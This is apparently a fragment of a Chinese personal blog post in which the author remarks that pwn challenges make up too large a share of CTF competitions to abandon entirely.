毕竟CTFpwn的比重太大了, 全盘放弃实在是伤…

评论

:D 一言句子获取中...